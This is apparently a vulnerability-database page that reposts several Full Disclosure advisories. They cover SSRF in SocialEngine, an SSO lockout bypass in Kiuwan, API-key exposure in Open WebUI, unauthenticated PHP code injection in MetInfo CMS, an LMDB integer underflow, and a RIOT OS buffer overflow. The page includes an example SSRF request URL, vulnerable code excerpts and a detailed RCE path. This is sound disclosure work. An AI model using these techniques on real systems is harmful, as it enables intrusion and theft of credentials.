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Recent vulnerabilities
323 GCVE records assigned by this organization as GNA-1988GCVE-1988-2026-0244
Vulnerability from gna-1988 – Published: 2026-09-08 08:13 – Updated: 2026-09-09 13:49
VLAI
EPSS
VEX
Title
[KIS-2026-07] SocialEngine <= 7.8.0 Blind Server-Side Request Forgery Vulnerability
Summary
---------------------------------------------------------------------
SocialEngine <= 7.8.0 Blind Server-Side Request Forgery Vulnerability
---------------------------------------------------------------------
[-] Software Link:
https://socialengine.com
[-] Affected Versions:
Versions 7.8.0, 7.7.0, and likely prior versions.
[-] Vulnerability Description:
User input passed through the "uri" request parameter to the
/core/link/preview endpoint is not properly sanitized before being
used as URL to send an HTTP request from the web server. This can be
exploited by remote, authenticated attackers to carry out blind
Server-Side Request Forgery (SSRF) attacks by using URLs like the
following:
https://[socialengine]/core/link/preview/format/json?uri=http://localhost:3306/
[-] Solution:
No official solution is currently available.
[-] Disclosure Timeline:
[02/02/2026] - Vulnerability confirmed on version 7.7.0
[02/02/2026] - Vendor notified
[09/02/2026] - Vendor response stating "We are currently validating
your report... If this issue is confirmed, we will prioritize
appropriate fixes and include them in an upcoming update."
[27/02/2026] - Vendor released version 7.8.0, but the vulnerability is
still not fixed
[02/03/2026] - Vendor contacted again
[09/03/2026] - Vendor response stating "We will check and update you."
[23/03/2026] - Vendor notified about 60-day disclosure deadline policy
[25/03/2026] - Vendor response stating "Regarding this issue, we were
unable to fully understand the concern. Could you please provide more
detailed information or steps to reproduce the issue?"
[25/03/2026] - Vendor was provided with more details and guidance on
how to fix the vulnerability
[03/04/2026] - Reached 60-day disclosure deadline, still no official solution
[21/04/2026] - CVE identifier requested
[22/04/2026] - CVE identifier assigned
[23/04/2026] - Public disclosure
[-] CVE Reference:
CVE-2026-41461 has been assigned to this vulnerability.
[-] Credits:
Vulnerability discovered by Egidio Romano.
[-] Original Advisory:
https://karmainsecurity.com/KIS-2026-07
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
6 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Socialengine | SocialEngine |
Affected:
unknown
|
Relationships
reference
GCVE-1988-2026-0244 (this record)
- related CVE-2026-41461
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GCVE-1988-2026-0254
Vulnerability from gna-1988 – Published: 2026-09-08 08:13 – Updated: 2026-09-09 13:49
VLAI
EPSS
VEX
Title
SEC Consult SA-20260414-0 :: Improper Enforcement of Locked Accounts in WebUI (SSO) in Kiuwan SAST on-premise (KOP) & cloud/SaaS
Summary
SEC Consult Vulnerability Lab Security Advisory < 20260414-0 >
=======================================================================
title: Improper Enforcement of Locked Accounts in WebUI (SSO)
product: Kiuwan SAST on-premise (KOP) & cloud/SaaS
vulnerable version: <2.8.2509.4
fixed version: 2.8.2509.4
CVE number: CVE-2026-24069
impact: medium
homepage:https://www.kiuwan.com/
found: 2025-03-31
by: Bernhard Gründling (Office Vienna)
Fabian Würfl (Office Vienna)
Johannes Greil (Office Vienna)
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos business
Europe | Asia
https://www.sec-consult.com
=======================================================================
Vendor description:
-------------------
"Thorough code inspection is essential for designing secure software products.
While your development team may not have time to comb through every line of code,
Kiuwan does. For 20 years, it has been the choice of developers to scan code
automatically and remediate defects according to security standards like OWASP,
CWE, SANS, and CERT.
Static application security testing (SAST) scans for security flaws in the source
code without running the program. It is a white-box testing method that is the
counterpart to dynamic application software testing (DAST), which tests web applications
for run-time vulnerabilities. [...]"
Source:https://www.kiuwan.com/code-security-sast/
Business recommendation:
------------------------
The vendor provides a patch which should be installed immediately.
SEC Consult highly recommends to perform a thorough security review of the product
conducted by security professionals to identify and resolve potential further
security issues.
Vulnerability overview/description:
-----------------------------------
1) Improper Enforcement of Locked Accounts in WebUI (SSO) (CVE-2026-24069)
Kiuwan offers the possibility to enable single sign-on (SSO) for authentication,
e.g. through Microsoft ADFS or Azure to authenticate against an active directory.
It needs to map the AD user accounts with locally configured accounts for
authorization purposes, e.g. to configure the roles and access to applications.
SSO users have the local logon disabled and there is no password set, authentication
only works via SSO then.
It was found out that the user is still able to login at the Kiuwan WebUI via SSO,
even if the Kiuwan mapped account has been disabled in the user settings by an admin.
The login does not work in the scanner agent (KLA - Kiuwan Local Analyzer) though.
There the authorization check seems to be verifying the validity of the account first
and throws the error message "Failed to authenticate using Single sign-on".
Proof of concept:
-----------------
1) Improper Enforcement of Locked Accounts in WebUI (SSO) (CVE-2026-24069)
No specific PoC is necessary. An SSO login is possible even after disabling
the Kiuwan mapped user account in the Kiuwan user admin settings.
Steps to reproduce:
a) Disable user in Kiuwan user settings
b) Authenticate via SSO, e.g. through Microsoft ADFS
c) Login is possible in the Kiuwan WebUI
Vulnerable / tested versions:
-----------------------------
The following version has been tested which was the latest version available
at the time of the test:
* 2.8.2412.0
Vendor contact timeline:
------------------------
2025-04-02: Contacting vendor through official Kiuwan ticket system
(https://kiuwan.zendesk.com)
Kiuwan support responds that they will take a look into
our submission. Support sends us a few details regarding
SSO authentication.
2025-04-03: Informing the vendor that we know how SSO auth in Kiuwan
works and our vulnerability exploits the improper enforcement
of locked accounts.
2025-04-15: Vendor informs us that the issue has been escalated to R&D.
2025-07-29: Vendor has resolved the issue in the latest Kiuwan Cloud release.
2025-07-29: Asking the vendor regarding the fix for Kiuwan On-Premise.
Vendor responds that it is currently being tested for KOP and
they will inform us.
2025-11-03: Asking for a status update as we were not informed yet.
2025-11-10: Support team responds that KOP release is expected within the
next couple of weeks.
2025-11-24: Issue has been resolved in the latest KOP release.
2025-11-28: Informing vendor that we cannot upgrade/verify the KOP release yet,
scheduled for 2026.
2026-04-14: Public release of advisory.
Solution:
---------
The security issue has been fixed by the vendor on 29th July 2025 for the
Kiuwan Cloud solution.
The vendor provides a patch for the Kiuwan On-Premises version 2.8.2509.4
which can be downloaded from the vendor's installation page:
https://support.kiuwan.com/hc/en-us/articles/36356787260433-Kiuwan-On-Premises-Distributed-Installation-Guide
Workaround:
-----------
None
Advisory URL:
-------------
https://sec-consult.com/vulnerability-lab/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos business
Europe | Asia
About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an
Atos business. It ensures the continued knowledge gain of SEC Consult in the
field of network and application security to stay ahead of the attacker. The
SEC Consult Vulnerability Lab supports high-quality penetration testing and
the evaluation of new offensive and defensive technologies for our customers.
Hence our customers obtain the most current information about vulnerabilities
and valid recommendation about the risk profile of new technologies.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your applicationhttps://sec-consult.com/career/
Interested in improving your cyber security with the experts of SEC Consult?
Contact our local officeshttps://sec-consult.com/contact/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Mail: security-research at sec-consult dot com
Web:https://www.sec-consult.com
Blog:https://blog.sec-consult.com
X:https://x.com/sec_consult
EOF Bernhard Gründling, Johannes Greil, Fabian Würfl / @2026
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
14 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Kiuwan | SEC Consult SA-20260414-0 |
Affected:
unknown
|
Relationships
analysis
GCVE-1988-2026-0254 (this record)
- related CVE-2026-24069
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For 20 years, it has been the choice of developers to scan code\nautomatically and remediate defects according to security standards like OWASP,\nCWE, SANS, and CERT.\n\nStatic application security testing (SAST) scans for security flaws in the source\ncode without running the program. It is a white-box testing method that is the\ncounterpart to dynamic application software testing (DAST), which tests web applications\nfor run-time vulnerabilities. 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GCVE-1988-2026-0273
Vulnerability from gna-1988 – Published: 2026-09-08 08:13 – Updated: 2026-09-09 13:49
VLAI
EPSS
VEX
Title
SEC Consult SA-20260401-0 :: Broken Access Control in Open WebUI
Summary
SEC Consult Vulnerability Lab Security Advisory < 20260401-0 >
=======================================================================
title: Broken Access Control
product: Open WebUI
vulnerable version: <v0.8.11
fixed version: v0.8.11
CVE number: CVE-2026-34222
impact: high
homepage:https://openwebui.com
found: 2026-02-06
by: Timo Müller (Office Munich)
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos business
Europe | Asia
https://www.sec-consult.com
=======================================================================
Vendor description:
-------------------
"The self-hosted AI interface.
Open WebUI is the platform for running AI on your own terms.
Connect to any model—local or cloud. Extend with Python.
Share what you build with 331K others. 270 million downloads and growing."
Source:https://openwebui.com/
Business recommendation:
------------------------
The vendor provides a patch which should be installed immediately.
SEC Consult highly recommends to perform a thorough security review of the product
conducted by security professionals to identify and resolve potential further
security issues.
Vulnerability overview/description:
-----------------------------------
1) Broken Access Control in Tool Valves (CVE-2026-34222)
Open WebUI supports function calling through "Tools". Function calling allows
an LLM to reliably connect to external tools and interact with external APIs.
Exemplary use-cases include connecting to an internal knowledge base,
retrieving emails from an exchange server, or retrieving order data from a
shop backend.
These interactions often require the LLM to authenticate against backend
services using API keys specifically created for a technical (Open WebUI)
user.
To simplify configuration and secret handling, Open WebUI implements
"Valves" and "UserValves" that allow users and administrators to input
dynamic details like API keys or configuration options.
Valves have the following distinction:
* Valves: Configurable by admins only.
* UserValves: Configurable by any user.
The Tool Valves endpoint does not properly restrict read access to the
valve. This allows a low privileged user to access all data contained
within the valve. In the worst case, this gives a low privileged
"Member" user access to sensitive Tool data, such as API keys for
third-party systems.
Proof of concept:
-----------------
1) Broken Access Control in Tool Valves (CVE-2026-34222)
The following steps can be performed to reproduce the vulnerability.
1. An administrator creates an Open WebUI Tool with a configured Valve.
<10_create_tool.png>
2. The administrator configures the API key within the Tool Valve.
<20_valves.png>
3. A user with at least "Member" privileges logs into Open WebUI.
The following screenshot shows the user overview of the test instance:
<30_user_admin.png>
The following screenshot illustrates that the "lowpriv" user
doesn't have access to the tool:
<35_lowpriv.png>
4. The "lowpriv" user uses their Authorization token to retrieve the
API key from the Tool Valve.
In order to do so, the attacker needs to know the Tool ID. However, as
this ID is always the same for imported tools, and the tool IDs are
concatenated from the tool name, guessing tool IDs is trivial.
<50_get_valve.png>
As seen in the following code snippet, the vulnerability is present because
the Tool Valves route does not check if the requesting user
has administrative permissions.
Code
source:https://github.com/open-webui/open-webui/blob/2b26355002064228e9b671339f8f3fb9d1fafa73/backend/open_webui/routers/tools.py#L513-L531
```
@router.get("/id/{id}/valves", response_model=Optional[dict])
async def get_tools_valves_by_id(
id: str, user=Depends(get_verified_user), db: Session = Depends(get_session)
):
tools = Tools.get_tool_by_id(id, db=db)
if tools:
try:
valves = Tools.get_tool_valves_by_id(id, db=db)
return valves
[...]
)
```
Vulnerable / tested versions:
-----------------------------
The following version has been tested which was the latest version available
at the time of the test:
* v0.7.2
All versions below the fixed version v0.8.11 are affected.
Vendor contact timeline:
------------------------
2026-02-11: Contacting vendor through the Open WebUI GitHub security
advisories page (github.com/open-webui/open-webui/security/advisories/GHSA-7429-hxcv-268m)
2026-02-11: GitHub security advisory was closed by the maintainer with the
reasoning "Tools perm should NOT be given to an untrusted party."
2026-02-11: Closure of the advisory was contested by submitting additional proof
2026-02-18: Additional reminder to the vendor that we will disclose this issue.
2026-03-18: Additional reminder to the vendor that we will disclose this issue.
2026-03-24: Vendor re-evaluates the submitted advisory, requests additional details,
and requests a validation of this issue on the development branch.
2026-03-24: Provided the additional details and confirmed that the issue is patched
on the development branch.
2026-03-24: Vendor re-opens and confirms the submitted advisory.
2026-03-27: Vendor confirms the CVSS score and requests a CVE through GitHub.
2026-03-27: GitHub has issued CVE-2026-34222 for this vulnerability.
2026-04-01: Vendor advisory published, SEC Consult release of advisory as well.
Solution:
---------
The vendor provides a patched version v0.8.11 which can be downloaded from their website:
https://github.com/open-webui/open-webui/releases
Fix commit:https://github.com/open-webui/open-webui/commit/f949d17db1e62e0b79aecbbcbcabe3d57d8d4af6
The vendor has also published the security report / advisory here:
https://github.com/open-webui/open-webui/security/advisories/GHSA-7429-hxcv-268m
Workaround:
-----------
None
Advisory URL:
-------------
https://sec-consult.com/vulnerability-lab/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos business
Europe | Asia
About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an
Atos business. It ensures the continued knowledge gain of SEC Consult in the
field of network and application security to stay ahead of the attacker. The
SEC Consult Vulnerability Lab supports high-quality penetration testing and
the evaluation of new offensive and defensive technologies for our customers.
Hence our customers obtain the most current information about vulnerabilities
and valid recommendation about the risk profile of new technologies.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your applicationhttps://sec-consult.com/career/
Interested in improving your cyber security with the experts of SEC Consult?
Contact our local officeshttps://sec-consult.com/contact/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Mail: security-research at sec-consult dot com
Web:https://www.sec-consult.com
Blog:http://blog.sec-consult.com
X:https://x.com/sec_consult
EOF Timo Müller / @2026
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
16 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| open-webui | SEC Consult SA-20260401-0 |
Affected:
unknown
|
Relationships
reference
GCVE-1988-2026-0273 (this record)
- related CVE-2026-34222
- related GHSA-7429-HXCV-268M
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"value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20260401-0 \u003e\n=======================================================================\n title: Broken Access Control\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 product: Open WebUI\n\u00a0vulnerable version: \u003cv0.8.11\n\u00a0 \u00a0 \u00a0 fixed version: v0.8.11\n CVE number: CVE-2026-34222\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0impact: high\n homepage:https://openwebui.com\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 found: 2026-02-06\n by: Timo M\u00fcller (Office Munich)\n SEC Consult Vulnerability Lab\n\n An integrated part of SEC Consult, an Atos business\n Europe | Asia\n\n https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"The self-hosted AI interface.\nOpen WebUI is the platform for running AI on your own terms.\nConnect to any model\u2014local or cloud. Extend with Python.\nShare what you build with 331K others. 270 million downloads and growing.\"\n\nSource:https://openwebui.com/\n\n\nBusiness recommendation:\n------------------------\nThe vendor provides a patch which should be installed immediately.\n\nSEC Consult highly recommends to perform a thorough security review of the product\nconducted by security professionals to identify and resolve potential further\nsecurity issues.\n\n\nVulnerability overview/description:\n-----------------------------------\n1) Broken Access Control in Tool Valves (CVE-2026-34222)\nOpen WebUI supports function calling through \"Tools\". Function calling allows\nan LLM to reliably connect to external tools and interact with external APIs.\nExemplary use-cases include connecting to an internal knowledge base,\nretrieving emails from an exchange server, or retrieving order data from a\nshop backend.\n\nThese interactions often require the LLM to authenticate against backend\nservices using API keys specifically created for a technical (Open WebUI)\nuser.\n\nTo simplify configuration and secret handling, Open WebUI implements\n\"Valves\" and \"UserValves\" that allow users and administrators to input\ndynamic details like API keys or configuration options.\n\nValves have the following distinction:\n* Valves: Configurable by admins only.\n* UserValves: Configurable by any user.\n\nThe Tool Valves endpoint does not properly restrict read access to the\nvalve. This allows a low privileged user to access all data contained\nwithin the valve. In the worst case, this gives a low privileged\n\"Member\" user access to sensitive Tool data, such as API keys for\nthird-party systems.\n\n\nProof of concept:\n-----------------\n1) Broken Access Control in Tool Valves (CVE-2026-34222)\nThe following steps can be performed to reproduce the vulnerability.\n\n1. An administrator creates an Open WebUI Tool with a configured Valve.\n \u003c10_create_tool.png\u003e\n2. The administrator configures the API key within the Tool Valve.\n \u003c20_valves.png\u003e\n3. A user with at least \"Member\" privileges logs into Open WebUI.\n\nThe following screenshot shows the user overview of the test instance:\n\u003c30_user_admin.png\u003e\n\nThe following screenshot illustrates that the \"lowpriv\" user\ndoesn\u0027t have access to the tool:\n\u003c35_lowpriv.png\u003e\n\n4. The \"lowpriv\" user uses their Authorization token to retrieve the\nAPI key from the Tool Valve.\n\nIn order to do so, the attacker needs to know the Tool ID. However, as\nthis ID is always the same for imported tools, and the tool IDs are\nconcatenated from the tool name, guessing tool IDs is trivial.\n\u003c50_get_valve.png\u003e\n\n\nAs seen in the following code snippet, the vulnerability is present because\nthe Tool Valves route does not check if the requesting user\nhas administrative permissions.\n\nCode \nsource:https://github.com/open-webui/open-webui/blob/2b26355002064228e9b671339f8f3fb9d1fafa73/backend/open_webui/routers/tools.py#L513-L531\n\n```\n@router.get(\"/id/{id}/valves\", response_model=Optional[dict])\nasync def get_tools_valves_by_id(\n id: str, user=Depends(get_verified_user), db: Session = Depends(get_session)\n):\n tools = Tools.get_tool_by_id(id, db=db)\n if tools:\n try:\n valves = Tools.get_tool_valves_by_id(id, db=db)\n return valves\n[...]\n)\n```\n\nVulnerable / tested versions:\n-----------------------------\nThe following version has been tested which was the latest version available\nat the time of the test:\n* v0.7.2\n\nAll versions below the fixed version v0.8.11 are affected.\n\nVendor contact timeline:\n------------------------\n2026-02-11: Contacting vendor through the Open WebUI GitHub security\n advisories page (github.com/open-webui/open-webui/security/advisories/GHSA-7429-hxcv-268m)\n2026-02-11: GitHub security advisory was closed by the maintainer with the\n reasoning \"Tools perm should NOT be given to an untrusted party.\"\n2026-02-11: Closure of the advisory was contested by submitting additional proof\n2026-02-18: Additional reminder to the vendor that we will disclose this issue.\n2026-03-18: Additional reminder to the vendor that we will disclose this issue.\n2026-03-24: Vendor re-evaluates the submitted advisory, requests additional details,\n and requests a validation of this issue on the development branch.\n2026-03-24: Provided the additional details and confirmed that the issue is patched\n on the development branch.\n2026-03-24: Vendor re-opens and confirms the submitted advisory.\n2026-03-27: Vendor confirms the CVSS score and requests a CVE through GitHub.\n2026-03-27: GitHub has issued CVE-2026-34222 for this vulnerability.\n2026-04-01: Vendor advisory published, SEC Consult release of advisory as well.\n\n\nSolution:\n---------\nThe vendor provides a patched version v0.8.11 which can be downloaded from their website:\nhttps://github.com/open-webui/open-webui/releases\n\nFix commit:https://github.com/open-webui/open-webui/commit/f949d17db1e62e0b79aecbbcbcabe3d57d8d4af6\n\nThe vendor has also published the security report / advisory here:\nhttps://github.com/open-webui/open-webui/security/advisories/GHSA-7429-hxcv-268m\n\n\nWorkaround:\n-----------\nNone\n\n\nAdvisory URL:\n-------------\nhttps://sec-consult.com/vulnerability-lab/\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSEC Consult Vulnerability Lab\nAn integrated part of SEC Consult, an Atos business\nEurope | Asia\n\nAbout SEC Consult Vulnerability Lab\nThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an\nAtos business. It ensures the continued knowledge gain of SEC Consult in the\nfield of network and application security to stay ahead of the attacker. The\nSEC Consult Vulnerability Lab supports high-quality penetration testing and\nthe evaluation of new offensive and defensive technologies for our customers.\nHence our customers obtain the most current information about vulnerabilities\nand valid recommendation about the risk profile of new technologies.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nInterested to work with the experts of SEC Consult?\nSend us your applicationhttps://sec-consult.com/career/\n\nInterested in improving your cyber security with the experts of SEC Consult?\nContact our local officeshttps://sec-consult.com/contact/\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nMail: security-research at sec-consult dot com\nWeb:https://www.sec-consult.com\nBlog:http://blog.sec-consult.com\nX:https://x.com/sec_consult\n\nEOF Timo M\u00fcller / @2026\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
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GCVE-1988-2026-0274
Vulnerability from gna-1988 – Published: 2026-09-08 08:13 – Updated: 2026-09-09 13:49
VLAI
EPSS
VEX
Title
[KIS-2026-06] MetInfo CMS <= 8.1 (weixinreply.class.php) PHP Code Injection Vulnerability
Summary
---------------------------------------------------------------------------
MetInfo CMS <= 8.1 (weixinreply.class.php) PHP Code Injection Vulnerability
---------------------------------------------------------------------------
[-] Software Link:
https://www.metinfo.cn
[-] Affected Versions:
Versions 7.9, 8.0, and 8.1.
[-] Vulnerability Description:
The vulnerable code is located into the
/app/system/weixin/include/class/weixinreply.class.php script.
Specifically, within the weixinreply::wxAdminLogin() method:
149. public function wxAdminLogin($data = array(),$code = '')
150. {
151. global $_M;
152. $weixinapi = load::mod_class('weixin/weixinapi','new');
153. $login_code = cache::get("weixin/".$code);
154. if ($login_code) {
155. cache::put("weixin/".$login_code,$data['FromUserName']);
156. }
157. return;
158. }
User input passed through the "EventKey" and "FromUserName" XML tags
from the HTTP request body when dispatching weixin API requests is not
properly sanitized before being used in a call to the cache::get() and
cache::put() methods respectively.
Specifically, the $code parameter may include Path Traversal
sequences, making the cache::get() method into including arbitrary PHP
files. This can be abused to set the $login_code variable to the
"Array" string by including an arbitrary cache file. Subsequently, the
cache::put() method will write the "FromUserName" parameter into the
/cache/weixin/Array.php file, embedding it within double quotes:
30. public static function put($file, $data, $type = 'php')
31. {
32. global $_M;
33.
34. load::sys_func('file');
35. $save = PATH_CACHE . $file . '.' . $type;
36. makefile($save);
37. #$data = str_replace(array("\"", "\\"), array("\\\"",
"\\\\"), $data);
38. if (!is_array($data)) {
39. file_put_contents($save, "<?php\ndefined('IN_MET') or
exit('No permission');\n\$cache=\"{$data}\";\n?>");
40. } else {
41. $info = var_export($data, true);
42. $info = "<?php\ndefined('IN_MET') or exit('No
permission');\n\$cache = {$info};\n?>";
43. file_put_contents($save, $info);
44. }
45. }
This can be exploited by remote, unauthenticated attackers to inject
and execute arbitrary PHP code by abusing PHP's complex curly syntax,
leading to unauthenticated Remote Code Execution (RCE).
NOTE: when MetInfo is running on non-Windows servers, successful
exploitation of this vulnerability requires the /cache/weixin/
directory to exist, which is created when installing and configuring
the official WeChat plugin.
[-] Proof of Concept:
https://karmainsecurity.com/pocs/CVE-2026-29014.php
[-] Solution:
No official solution is currently available.
[-] Disclosure Timeline:
[26/02/2026] - Vendor contacted through several @metinfo.cn and
@mituo.cn email addresses, no response
[07/03/2026] - Tried to reach out to the vendor again, no response
[28/03/2026] - Tried to reach out to the vendor once again, no response
[29/03/2026] - Tried to reach out to the vendor through Weibo, no response
[30/03/2026] - CVE identifier requested
[31/03/2026] - CVE identifier assigned
[01/04/2026] - Public disclosure
[-] CVE Reference:
CVE-2026-29014 has been assigned to this vulnerability.
[-] Credits:
Vulnerability discovered by Egidio Romano.
[-] Original Advisory:
https://karmainsecurity.com/KIS-2026-06
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Metinfo Cms | MetInfo CMS |
Affected:
unknown
|
Relationships
reference
GCVE-1988-2026-0274 (this record)
- related CVE-2026-29014
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"value": "---------------------------------------------------------------------------\nMetInfo CMS \u003c= 8.1 (weixinreply.class.php) PHP Code Injection Vulnerability\n---------------------------------------------------------------------------\n\n\n[-] Software Link:\n\nhttps://www.metinfo.cn\n\n\n[-] Affected Versions:\n\nVersions 7.9, 8.0, and 8.1.\n\n\n[-] Vulnerability Description:\n\nThe vulnerable code is located into the\n/app/system/weixin/include/class/weixinreply.class.php script.\n\nSpecifically, within the weixinreply::wxAdminLogin() method:\n\n149. public function wxAdminLogin($data = array(),$code = \u0027\u0027)\n150. {\n151. global $_M;\n152. $weixinapi = load::mod_class(\u0027weixin/weixinapi\u0027,\u0027new\u0027);\n153. $login_code = cache::get(\"weixin/\".$code);\n154. if ($login_code) {\n155. cache::put(\"weixin/\".$login_code,$data[\u0027FromUserName\u0027]);\n156. }\n157. return;\n158. }\n\nUser input passed through the \"EventKey\" and \"FromUserName\" XML tags\nfrom the HTTP request body when dispatching weixin API requests is not\nproperly sanitized before being used in a call to the cache::get() and\ncache::put() methods respectively.\n\nSpecifically, the $code parameter may include Path Traversal\nsequences, making the cache::get() method into including arbitrary PHP\nfiles. This can be abused to set the $login_code variable to the\n\"Array\" string by including an arbitrary cache file. Subsequently, the\ncache::put() method will write the \"FromUserName\" parameter into the\n/cache/weixin/Array.php file, embedding it within double quotes:\n\n30. public static function put($file, $data, $type = \u0027php\u0027)\n31. {\n32. global $_M;\n33.\n34. load::sys_func(\u0027file\u0027);\n35. $save = PATH_CACHE . $file . \u0027.\u0027 . $type;\n36. makefile($save);\n37. #$data = str_replace(array(\"\\\"\", \"\\\\\"), array(\"\\\\\\\"\",\n\"\\\\\\\\\"), $data);\n38. if (!is_array($data)) {\n39. file_put_contents($save, \"\u003c?php\\ndefined(\u0027IN_MET\u0027) or\nexit(\u0027No permission\u0027);\\n\\$cache=\\\"{$data}\\\";\\n?\u003e\");\n40. } else {\n41. $info = var_export($data, true);\n42. $info = \"\u003c?php\\ndefined(\u0027IN_MET\u0027) or exit(\u0027No\npermission\u0027);\\n\\$cache = {$info};\\n?\u003e\";\n43. file_put_contents($save, $info);\n44. }\n45. }\n\nThis can be exploited by remote, unauthenticated attackers to inject\nand execute arbitrary PHP code by abusing PHP\u0027s complex curly syntax,\nleading to unauthenticated Remote Code Execution (RCE).\n\nNOTE: when MetInfo is running on non-Windows servers, successful\nexploitation of this vulnerability requires the /cache/weixin/\ndirectory to exist, which is created when installing and configuring\nthe official WeChat plugin.\n\n\n[-] Proof of Concept:\n\nhttps://karmainsecurity.com/pocs/CVE-2026-29014.php\n\n\n[-] Solution:\n\nNo official solution is currently available.\n\n\n[-] Disclosure Timeline:\n\n[26/02/2026] - Vendor contacted through several @metinfo.cn and\n@mituo.cn email addresses, no response\n\n[07/03/2026] - Tried to reach out to the vendor again, no response\n\n[28/03/2026] - Tried to reach out to the vendor once again, no response\n\n[29/03/2026] - Tried to reach out to the vendor through Weibo, no response\n\n[30/03/2026] - CVE identifier requested\n\n[31/03/2026] - CVE identifier assigned\n\n[01/04/2026] - Public disclosure\n\n\n[-] CVE Reference:\n\nCVE-2026-29014 has been assigned to this vulnerability.\n\n\n[-] Credits:\n\nVulnerability discovered by Egidio Romano.\n\n\n[-] Original Advisory:\n\nhttps://karmainsecurity.com/KIS-2026-06\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
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GCVE-1988-2026-0318
Vulnerability from gna-1988 – Published: 2026-09-09 13:42 – Updated: 2026-09-09 13:42
VLAI
EPSS
VEX
Title
MongoDB v8.3.0 Integer Underflow in LMDB mdb_load
Summary
This integer underflow vulnerability enables heap metadata corruption and
information disclosure through carefully crafted LMDB dump files.
*Impact:*
- *Denial of Service*: Immediate crash (confirmed)
- *Information Disclosure*: Heap metadata leak via OOB read
Root Cause:The readline() function fails to validate that the input line
length is non-zero before performing decrement operations, causing integer
underflow. An attacker can craft a malicious LMDB dump file containing
empty lines that trigger the vulnerability when processed by mdb_load:
*Output:*
./mdb_load -T /tmp/lmdb_asan <
/root/wiredtiger/third_party/openldap_liblmdb/findings/default/crashes/id:000007,sig:06,src:000012+000030,time:43032,execs:522id:000007,sig:06,src:000012+000030,time:43032,execs:52230,op:splice,rep:13
mdb_load.c:214:9: runtime error: addition of unsigned offset to
0x521000000100 overflowed to 0x5210000000ff
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior mdb_load.c:214:9
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/full-disclos… | technical-description |
| https://seclists.org/fulldisclosure/2026/Jan/8 | technical-description |
| https://nmap.org/mailman/listinfo/fulldisclosure | |
| https://seclists.org/fulldisclosure/ |
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GCVE-1988-2026-0317
Vulnerability from gna-1988 – Published: 2026-09-09 13:42 – Updated: 2026-09-09 13:42
VLAI
EPSS
VEX
Title
RIOT OS 2026.01-devel-317 Stack-Based Buffer Overflow in tapslip6 Utility via Unbounded Device Path Construction
Summary
A stack-based buffer overflow vulnerability exists in the tapslip6 utility
distributed with RIOT OS (and derived from the legacy uIP/Contiki
networking tools). The vulnerability is caused by unsafe string
concatenation in the devopen() function, which constructs a device path
using unbounded user-controlled input.
Specifically, tapslip6 uses strcpy() and strcat() to concatenate the fixed
prefix "/dev/" with a user-supplied device name provided via the -s
command-line option. No bounds checking is performed, allowing an attacker
to supply an excessively long device name and overflow a fixed-size stack
buffer. This issue can lead to process crashes and memory corruption. While
